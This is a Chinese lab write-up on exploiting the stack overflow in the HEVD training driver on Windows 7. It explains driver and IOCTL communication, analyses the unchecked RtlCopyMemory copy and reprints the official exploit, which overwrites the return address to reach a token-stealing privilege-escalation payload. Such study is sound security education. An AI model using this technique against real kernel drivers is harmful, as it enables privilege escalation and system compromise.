首页
社区
课程
招聘
[原创]内核漏洞学习[1]-HEVD-StackOverflow
2021-10-30 20:45 23490

[原创]内核漏洞学习[1]-HEVD-StackOverflow

2021-10-30 20:45
23490

HEVD-StackOverflow

一: 概述

HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习

 

Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备:

Windows 7 X86 sp1 虚拟机

使用VirtualKD和windbg双机调试

HEVD 3.0+KmdManager+DubugView

二:前置知识:

(1)栈溢出

网上找的堆栈图,

 

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。

 

发生栈溢出的基本前提是

  • 程序必须向栈上写入数据。

  • 写入的数据大小没有被良好地控制

 

例如图中,可以写入大于buffer长度的数据,溢出到返回地址

(2)理解驱动与R3通信

1.重要的数据结构

驱动对象

Windows内核采用面向对象的编程方式,但是使用的却是C语言。所以说所谓的“Windows内核对象”,并不是一个C++类的对象,而是Windows的内核程序员使用C语言对面向对象编程方式的一种模拟。首先,Windows内核认为许多东西都是“对象”,比如一个驱动、一个设备、一个文件,甚至其他的一些东西。“对象”相当于一个基类。
在 Windows启动之后,这些内核对象都在内存中。如果我们在内核中写代码,则可以随意访问它们。每个种类的内核对象都用一个结构体来表示。
一个驱动对象代表了一个驱动程序,或者说一个内核模块。驱动对象的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
kd> dt _Driver_Object
ntdll!_DRIVER_OBJECT
   +0x000 Type             : Int2B  //结构的类型
   +0x002 Size             : Int2B //结构的大小
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT //设备对象,这里实际上是一个设备对象的链表的开始
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void //驱动模块在内核空间中的开始地址
   +0x010 DriverSize       : Uint4B//驱动模块在内核空间中的大小
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION //驱动扩展对象
   +0x01c DriverName       : _UNICODE_STRING //驱动名字,这个名字是个字符串结构体
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING //驱动服务注册表路径
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH// 快速IO分发函数
   +0x02c DriverInit       : Ptr32     long //驱动入口点
   +0x030 DriverStartIo    : Ptr32     void
   +0x034 DriverUnload     : Ptr32     void //驱动的卸载函数
   +0x038 MajorFunction    : [28] Ptr32     long  //普通分发函数

实际上,如果写一个驱动程序,或者说编写一个内核模块,要在 Windows中加载,则必须填写这样一个结构(_Driver_Object),来告诉Windows程序提供哪些功能。与编写一个应用程序不同。内核模块并不生成一个进程,只是填写一组回调函数让Windows来调用,而且这组回调函数必须符合 Windows内核规定。
这一组回调函数包括上面的“普通分发函数”和“快速IO分发函数”。这些函数用来处理发送给这个内核模块的请求。一个内核模块所有的功能都由它们提供给 Windows。

设备对象

Windows窗口应用程序开发,窗口是唯一可以接收消息的东西,任何消息都是发送给一个窗口的。而在内核世界里,大部分“消息”都以请求(IRP)的方式传递。而设备对象(DEVICE OBJECT)是唯一可以接收请求的实体,任何一个“请求”(IRP)都是发送给某个设备对象的。

 

因为我们总是在内核程序中生成一个DEVICE OBJECT,而一个内核程序是用一个驱动对象表示的,所以一个设备对象总是属于一个驱动对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
kd> dt _Device_Object
ntdll!_DEVICE_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 ReferenceCount   : Int4B //引用计数
   +0x008 DriverObject     : Ptr32 _DRIVER_OBJECT //这个设备所属的驱动对象
   +0x00c NextDevice       : Ptr32 _DEVICE_OBJECT //下一个设备对象,在一个驱动中有n个设备,这些设备用这个指针链接起来(单项链表)
   +0x010 AttachedDevice   : Ptr32 _DEVICE_OBJECT
   +0x014 CurrentIrp       : Ptr32 _IRP
   +0x018 Timer            : Ptr32 _IO_TIMER
   +0x01c Flags            : Uint4B
   +0x020 Characteristics  : Uint4B
   +0x024 Vpb              : Ptr32 _VPB
   +0x028 DeviceExtension  : Ptr32 Void
   +0x02c DeviceType       : Uint4B//设备类型
   +0x030 StackSize        : Char //IRp栈大小
   +0x034 Queue            : <unnamed-tag>
   +0x05c AlignmentRequirement : Uint4B
   +0x060 DeviceQueue      : _KDEVICE_QUEUE
   +0x074 Dpc              : _KDPC
   +0x094 ActiveThreadCount : Uint4B
   +0x098 SecurityDescriptor : Ptr32 Void
   +0x09c DeviceLock       : _KEVENT
   +0x0ac SectorSize       : Uint2B
   +0x0ae Spare1           : Uint2B
   +0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION
   +0x0b4 Reserved         : Ptr32 Void

_Device_Object结构,看出驱动对象与设备对象的联系,驱动对象生成多个设备对象。而Windows向设备对象发送请求,这些请求是被驱动对象的分发函数所捕获的。当 Windows内核向一个设备发送一个请求时,驱动对象的分发函数中的某一个会被调用。分发函数原型如下:

1
2
NTSTATUS MyDispatch(PDEVICE_OBECT deivce,PIRP irp);
//参数device是请求的目标设备,第二个参数irp是请求的指针

请求

大部分请求以IRP的形式发送。IRP也是一个内核数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
kd> dt _IRP
ntdll!_IRP
   +0x000 Type             : Int2B //类型和大小
   +0x002 Size             : Uint2B
   +0x004 MdlAddress       : Ptr32 _MDL ////内存描述符链表指针。实际上,这里用来描述一个缓冲区。可以想象/一个内核请求一般都需要一个缓冲区(如读硬盘需要有读出缓冲区)
 
   +0x008 Flags            : Uint4B
   +0x00c AssociatedIrp    : <unnamed-tag>
   +0x010 ThreadListEntry  : _LIST_ENTRY
   +0x018 IoStatus         : _IO_STATUS_BLOCK ///l1O状态。一般请求完成之后的返回值放在这里
   +0x020 RequestorMode    : Char
   +0x021 PendingReturned  : UChar
   +0x022 StackCount       : Char//IRP 栈空间大小
   +0x023 CurrentLocation  : Char // IRP当前栈空间
   +0x024 Cancel           : UChar
   +0x025 CancelIrql       : UChar
   +0x026 ApcEnvironment   : Char
   +0x027 AllocationFlags  : UChar
   +0x028 UserIosb         : Ptr32 _IO_STATUS_BLOCK
   +0x02c UserEvent        : Ptr32 _KEVENT
   +0x030 Overlay          : <unnamed-tag>
   +0x038 CancelRoutine    : Ptr32     void //用来取消一个未决请求的函数
   +0x03c UserBuffer       : Ptr32 Void
   +0x040 Tail             : <unnamed-tag>

应用与内核的通信

内核方面的编程

1.生成控制设备

2.控制设备的名字和符号链接

3.控制设备的删除(依次删除符号链接和控制设备)

4.分发函数

5.请求的处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
// Sample "Hello World" driver
// creates a HelloDev, that expects one IOCTL
 
#include <ntddk.h>
 
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)   //#define CTL_CODE(DeviceType, Function, Method, Access) (  ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
//这里的CTL CODE是一个宏,是SDK里的头文件提供的。读者要做的是直接利用这个宏来生成一个自己的设备控制请求功能号。CTL_CODE有4个参数,其中第一个参数是设备类型。笔者生成的这种控制设备和任何硬件都没有关系,所以直接定义成未知类型(FILE_DEVICE_UNKNOWN)即可。第二个参数是生成这个功能号的核心数字,这个数字直接用来和其他参数“合成”功能号。OxO~Ox7ff已经被微软预留,所以笔者只能使用大于0x7ff的数字。同时,这个数字不能大于0xfmf。如果要定义超过一个的功能号,那么不同的功能号就靠这个数字进行区分。第三个参数METHOD_BUFFERED是说用缓冲方式2。用缓冲方式的话,输入/输出缓冲会在用户和内核之间拷贝。这是比较简单和安全的一种方式。最后一个参数是这个操作需要的权限。当笔者需要将数据发送到设备时,相当于往设备上写入数据,所以标志为拥有写数据权限(FILE_WRITE_DATA)。
 
 
#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"
#define DEV_NAME L"\\Device\\HelloDev"
 
/// <summary>
/// IRP Not Implemented Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>、
 
 
/*
以下是分发函数
 
分发函数是一组用来处理发送给设备对象(当然也包括控制设备)的请求的函数。这些数由内核驱动的开发者编写,以便处理这些请求并返回给Windows。分发函数是设置在驱动对象(Driver Object)上的。也就是说,每个驱动都有一组自己的分发函数。Windows的IO管理器在收到请求时,会根据请求发送的目标,也就是一个设备对象,来调用这个设备对象所从的驱动对象上对应的分发函数。
 
不同的分发函数处理不同的请求
打开(Create'):在试图访问一个设备对象之前,必须先用打开请求“打开”它。只有得到成功的返回,才可以发送其他的请求。
关闭(Close):在结束访问一个设备对象之后,发送关闭请求将它关闭。关闭之后,就必须再次打开才能访问。
设备控制(Device Control):设备控制请求是一种既可以用来输入(从应用到内核),又可以用来输出(从内核到应用)的请求。
NTSTATUS cwkDispatch(IN_PDEVICE_OB3ECT dev,IN PIRp irp)
 
其中的dev就是请求要发送给的目标对象;irp则是代表请求内容的数据结构的指针。无论如何,分发函数必须首先设置给驱动对象,这个工作一般在 DriverEntry中完成。
 
------------------------------------------------------------------------------------------------------------------
*/
 
 
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return STATUS_NOT_SUPPORTED;
}
 
/// <summary>
/// IRP Create Close Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
 
    return STATUS_SUCCESS;
}
 
/// <summary>
/// IRP Unload Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <returns>NTSTATUS</returns>
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {
    UNICODE_STRING DosDeviceName = { 0 };
 
    PAGED_CODE();
 
    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
 
    // Delete the symbolic link
    IoDeleteSymbolicLink(&DosDeviceName);
 
    // Delete the device
    IoDeleteDevice(DriverObject->DeviceObject);
 
    DbgPrint("[!] Hello Driver Unloaded\n");
}
 
/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
 //根据不同的控制码作出不同的处理
    if (IrpSp) {
        switch (IoControlCode) {
        case HELLO_DRV_IOCTL:
            DbgPrint("[< HelloDriver >] Hello from the Driver!\n");
            break;
        default:
            DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
            Status = STATUS_INVALID_DEVICE_REQUEST;
            break;
        }
    }
 
    Irp->IoStatus.Status = Status;//3环的GetLastError得到的就是这个值
    Irp->IoStatus.Information = 0;//返回数据的字节数  没有写0
 
    // Complete the request
    IoCompleteRequest(Irp, IO_NO_INCREMENT);//用于结束这个请求
 
    return Status;
}
-------------------------------------------------------------------------------------------------------------------
以上都是分发函数
 
-------------------------------------------------------------------------------------------------------------------
 
 
 // 驱动入口函数
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
    UINT32 i = 0;
    PDEVICE_OBJECT DeviceObject = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL; //绝大多数内核函数都会有一个返回值,类型为NTSTATUS。该类型本质就是一个LONG
    UNICODE_STRING DeviceName, DosDeviceName = { 0 };
 
    UNREFERENCED_PARAMETER(RegistryPath);
    PAGED_CODE();
 
    RtlInitUnicodeString(&DeviceName, DEV_NAME);//初始化unicode字符串,为其赋值。不会申请内存。
    RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
 
    DbgPrint("[*] In DriverEntry\n");//驱动的打印函数
 
    //1.创建设备,指定设备的名字
    Status = IoCreateDevice(DriverObject,
        0,
        &DeviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &DeviceObject);
 /*NTSTATUS
IoCreateDevice(
IN PDRIVER_OBJECT DriverObject,
IN ULONG DeviceExtensionsize,设备扩展的大小
IN PUNICODE_STRING DeviceName OPTIONAL,设备名,以便应用程序打开
IN DEVICE_TYPE DeviceType, 设备类型
IN ULONG DeviceCharacteristics, 设备属性
IN BOOLEAN Exclusive, 表示是否是一个独占设备
OUT PDEVICE_OBJECT *DeviceObject); 用来返回结果,如果函数执行成功(返回值为STATUS_SUCCESS),*DeviceObject就是生成的设备对象对的指针
生成设备对象DriverObject,设备对象可以在内核中暴露出来给应用层,应用层可以像操作文件一样操作它。这
 
*/
 
 
    if (!NT_SUCCESS(Status)) {
        if (DeviceObject) {
            // Delete the device
            IoDeleteDevice(DeviceObject);
        }
 
        DbgPrint("[-] Error Initializing HelloDriver\n");
        return Status;
    }
/*
分发函数必须首先设置给驱动对象
注意,下面的片段中将所有的分发函数(实际上MajorFunction是一个函数指针数组,保存所有分发函数的指针>都设置成同一个函数,这是一种简单的处理方案。
 
 
*/
    // Assign the IRP handlers
    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
        // Disable the Compiler Warning: 28169
#pragma warning(push)
#pragma warning(disable : 28169)
        DriverObject->MajorFunction[i] = IrpNotImplementedHandler;
#pragma warning(pop)
    }
 // 5.请求的处理
 
    // Assign the IRP handlers for Create, Close and Device Control
    /*
    在用户层,我们每次调用CreateFile、OpenFIle、DeleteFile、CloseHandle等API时,都会向0环发送一个消息,这个消息成为IRP数据包。这些API称为设备操作API。如:当调用CreateFile时,会向内核层发送一个名为IRP_MJ_CREATE的打开设备的IRP消息。其他常用IRP类型如下:
 
CreateFile        -》    IRP_MJ_CREATE
ReadFile        -》    IRP_MJ_READ
WriteFile        -》    IRP_MJ_WRITE
CloseHandle        -》    IRP_MJ_CLOSE
DeviceControl    -》    IRP_MJ_DEVICE_CONTROL        //此API比上面的API更加灵活方便,因此内核编程中常使用该API进行消息的传递
    */
 
 
    DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
 
    // Assign the driver Unload routine
    DriverObject->DriverUnload = IrpUnloadHandler;//为驱动指定卸载函数
 
    // Set the flags
    /*
    设置数据交互方式
pDeviceObj->Flags
//缓冲区方式读写(DO_BUFFERED_IO):将3环缓冲区内的数据复制一份到0环的缓冲区。  方便,但性能不好。
//直接方式读写(DO_DIRECT_IO):首先将3环缓冲区锁住,然后在将对应的物理地址映射一份0环的线性地址。适合大量数据传输。两个线性地址对应同一个物理地址。
//其它方式读写(不设置值):0环直接读取3环的线性地址,不建议。当进程切换,CR3改变,会读取到其他进程的内存数据。
pDeviceObj->Flags &= DO_DEVICE_INITIALIZING;
//将DO_DEVICE_INITIALIZING初始化标志位清空,如果不清空这个位,那么3环可能无法打开设备。
    */
    DeviceObject->Flags |= DO_DIRECT_IO;
    DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
 
    // 2.创建符号链接
    //控制设备需要名字,暴露出来,供其他程序打开与之通信
   /*
  设备的名字可以在调用IoCreateDevice或IoCreateDeviceSecure时指定。此外,应用层是无法直接通过设备的名字来打开对象的,为此必须要建立一个暴露给应用层的符号链接。符号链接就是记录一个字符串对应到另一个字符串的一种简单结构。生成符号链接的函数是:
 NTSTATUS
IoCreatesymbolicLink(
IN PUNICODE_STRING symbolicLinkName, 符号链接,名
IN PUNICODE_STRING DeviceName  设备名
);
 
   */
//IoCreateSymbolicLink  3.控制设备的删除,依次删除符号链接和控制设备
    Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
 
    // Show the banner
    DbgPrint("[!] HelloDriver Loaded\n");
 
    return Status;
}

应用层面的编程

1.在应用程序中打开与关闭设备

2.设备控制请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <iostream>
#include <Windows.h>
#include <winioctl.h>  
 
//这个宏用于组装IRP控制码,其中用户自定义的控制码从0x800开始。
#define io_code1 CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define io_code2 CTL_CODE(FILE_DEVICE_UNKNOWN,0x900,METHOD_BUFFERED,FILE_ANY_ACCESS)
int main()
{
    CHAR* deviceName = (CHAR*)"\\\\.\\MyDevice1";
    //1.在应用程序中打开与关闭设备
    HANDLE deviceHandle = CreateFileA(deviceName,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ| FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
    DWORD str = 100;
    DWORD back = 0;
    DWORD Length = 0;    //实际返回的数据长度
    //2.设备控制请求
    DeviceIoControl(deviveHandle, io_code1, &str,0x4,&back,0x4,&length,NULL);
    printf("back = %d\r\n", Length);
    str = 200;
    DeviceIoControl(deviceHandle, io_code2, &str, 0x4, &back, 0x4, &Length, NULL);
    printf("back = %d\r\n", Length);
    getchar();
    CloseHandle(deviceHandle);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
BOOL DeviceIoControl (
HANDLE hDevice, // 设备句柄
DWORD dwIoControlCode, // IOCTL请求操作代码
LPVOID lpInBuffer, // 输入缓冲区地址
DWORD nInBufferSize, // 输入缓冲区大小
LPVOID lpOutBuffer, // 输出缓冲区地址
DWORD nOutBufferSize, // 输出缓冲区大小
LPDWORD lpBytesReturned, // 存放返回字节数的指针
LPOVERLAPPED lpOverlapped // 用于同步操作的Overlapped结构体指针
);

总结:通过用户层与内核层的通信,可以让用户程序在需要时调用驱动的特定功能.驱动通信类似于Windows消息机制,在内核中,消息被封装在IRP结构体中(I/O Request Packae :IO请求包),设备对象接受IRP实现用户程序与驱动程序的通信。

 

通过DeviceIoControl函数来使应用程序与驱动程序通信

 

这种通信方式,就是驱动程序和应用程序自定义一种IO控制码,然后应用程序调用DeviceIoControl函数,DeviceIoControl函数会产生此IRPIRP_MJ_DEVICE_CONTROL,系统就调用相应的处理IRP_MJ_DEVICE_CONTROL的分发函数,在分发函数中判断,是自定义的控制码你就进行相应的处理。

 

编写 Hello World Windows 驱动程序 (KMDF) - Windows drivers | Microsoft Docs

 

Windows 驱动程序示例 - Windows drivers | Microsoft Docs

 

(可以借助这个HEVD项目更加加深对驱动通信的理解)

三:漏洞点分析

漏洞原理:栈溢出漏洞,使用过程中使用危险的函数,没有对

 

(1)加载驱动

 

安装驱动程序,使用kmdManager 加载驱动程序,DebugView检测内核,可以看到加载驱动程序成功。

 

 

windbg:

 

1
2
3
lm  查看所有已加载模块
lm m H* 设置过滤,查找HEVD模块
lm m HEVD

 

(2)分析漏洞点

 

对BufferOverflowStack.c源码进行分析,漏洞函数TriggerBufferOverflowStack,存在明显的栈溢出漏洞,RtlCopyMemory函数没有对KernelBuffer大小进行验证,直接将size大小的userbuffer传入缓冲区,没有进行大小的限制,(例如安全版本的sizeof(KernelBuffer)),因此造成栈溢出,攻击返回地址,使之指向构造的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#define BUFFER_SIZE 512  
//sizeof(KernelBuffer) 0x800
 
TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
 
    PAGED_CODE();
 
    __try
    {
 
 
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 
#ifdef SECURE
 
 
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));//  安全版本
#else
        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
 
 
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);// 不安全版本:存在栈溢出漏洞,未对传进KernelBuffer大小进行限制。
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}

四:漏洞利用

利用驱动与R3通信,能够直接读取R3地址,构造exp

 

1.获取栈中KernelBuffer到返回地址的偏移

 

ida中打开HEVD.sys

 

 

KernelBuffer 距离ebp 81Ch,想覆盖到返回地址需要81C+4+4 =824h

 

也可以使用windbg结合断点,在TriggerBufferOverflowStack,RtlCopyMemory函数处下断点,判断偏移。

 

2.构造exp(官方exp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
DWORD WINAPI StackOverflowThread(LPVOID Parameter) {
HANDLE hFile = NULL;
    ULONG BytesReturned;
    PVOID MemoryAddress = NULL;
    PULONG UserModeBuffer = NULL;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;//设备名称
    PVOID EopPayload = &TokenStealingPayloadWin7;//构造的payload地址
    SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
 
    __try {
        //获得设备句柄
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
 
        hFile = GetDeviceHandle(FileName);
 
        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }
 
        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
 
        DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
 
        UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
                                           HEAP_ZERO_MEMORY,
                                           UserModeBufferSize);
 
        if (!UserModeBuffer) {
            DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
        }
 
        DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
 
        RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//'A'填充
 
        MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
        //UserModeBuffer最后四个字节(sizeof(ULONG))的地址,写入payload地址,覆盖栈中原本返回地址。
        *(PULONG)MemoryAddress = (ULONG)EopPayload;
 
        DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress);
        DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress);
 
        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
 
        DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n");
 
        OutputDebugString("****************Kernel Mode****************\n");
        //R3调用DeviceIoControl函数,产生此IRP_MJ_DEVICE_CONTROL,HACKSYS_EVD_IOCTL_STACK_OVERFLOW(自定义的控制码),
        //HACKSYS_EVD_IOCTL_STACK_OVERFLOW=
        //对应的派遣函数BufferOverflowStackIoctlHandler,
        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
                        (LPVOID)UserModeBuffer,
                        (DWORD)UserModeBufferSize,
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);
 
        OutputDebugString("****************Kernel Mode****************\n");
 
        HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
 
        UserModeBuffer = NULL;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }
 
    return EXIT_SUCCESS;
}

HACKSYS_EVD_IOCTL_STACK_OVERFLOW控制码对应的派遣函数BufferOverflowStackIoctlHandler

1
2
3
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
IrpDeviceIoCtlHandler(
    _In_ PDEVICE_OBJECT DeviceObject,
    _In_ PIRP Irp
)
{
    ULONG IoControlCode = 0;
    PIO_STACK_LOCATION IrpSp = NULL;
    NTSTATUS Status = STATUS_NOT_SUPPORTED;
 
    UNREFERENCED_PARAMETER(DeviceObject);
    PAGED_CODE();
 
    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
 
    if (IrpSp)
    {
        switch (IoControlCode)
        {
        case HEVD_IOCTL_BUFFER_OVERFLOW_STACK:
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
            Status = BufferOverflowStackIoctlHandler(Irp, IrpSp);
            DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
            break;
 
        }
    }

BufferOverflowStackIoctlHandler函数调用TriggerBufferOverflowStack触发漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
NTSTATUS BufferOverflowStackIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    SIZE_T Size = 0;
    PVOID UserBuffer = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
 
UNREFERENCED_PARAMETER(Irp);
PAGED_CODE();
//首先将指定的Method参数设置为METHOD_NEITHER。
 
//往驱动中Input数据:通过I/O堆栈的Parameters.DeviceIoControl.Type3InputBuffer得到DeviceIoControl提供的输入缓冲区地址,Parameters.DeviceIoControl.InputBufferLength得到其长度。
 
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
 
if (UserBuffer)
{
    Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
 
return Status;
}

payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。

 

相关内核结构体:

 

在内核模式下,fs:[0]指向KPCR结构体

1
2
3
4
5
6
7
8
9
10
11
12
_KPCR
+0x120 PrcbData         : _KPRCB
_KPRCB
+0x004 CurrentThread    : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体
_KTHREAD
+0x040 ApcState         : _KAPC_STATE
_KAPC_STATE
+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体
_EPROCESS
   +0x0b4 UniqueProcessId  : Ptr32 Void,当前进程ID,系统进程ID=0x04
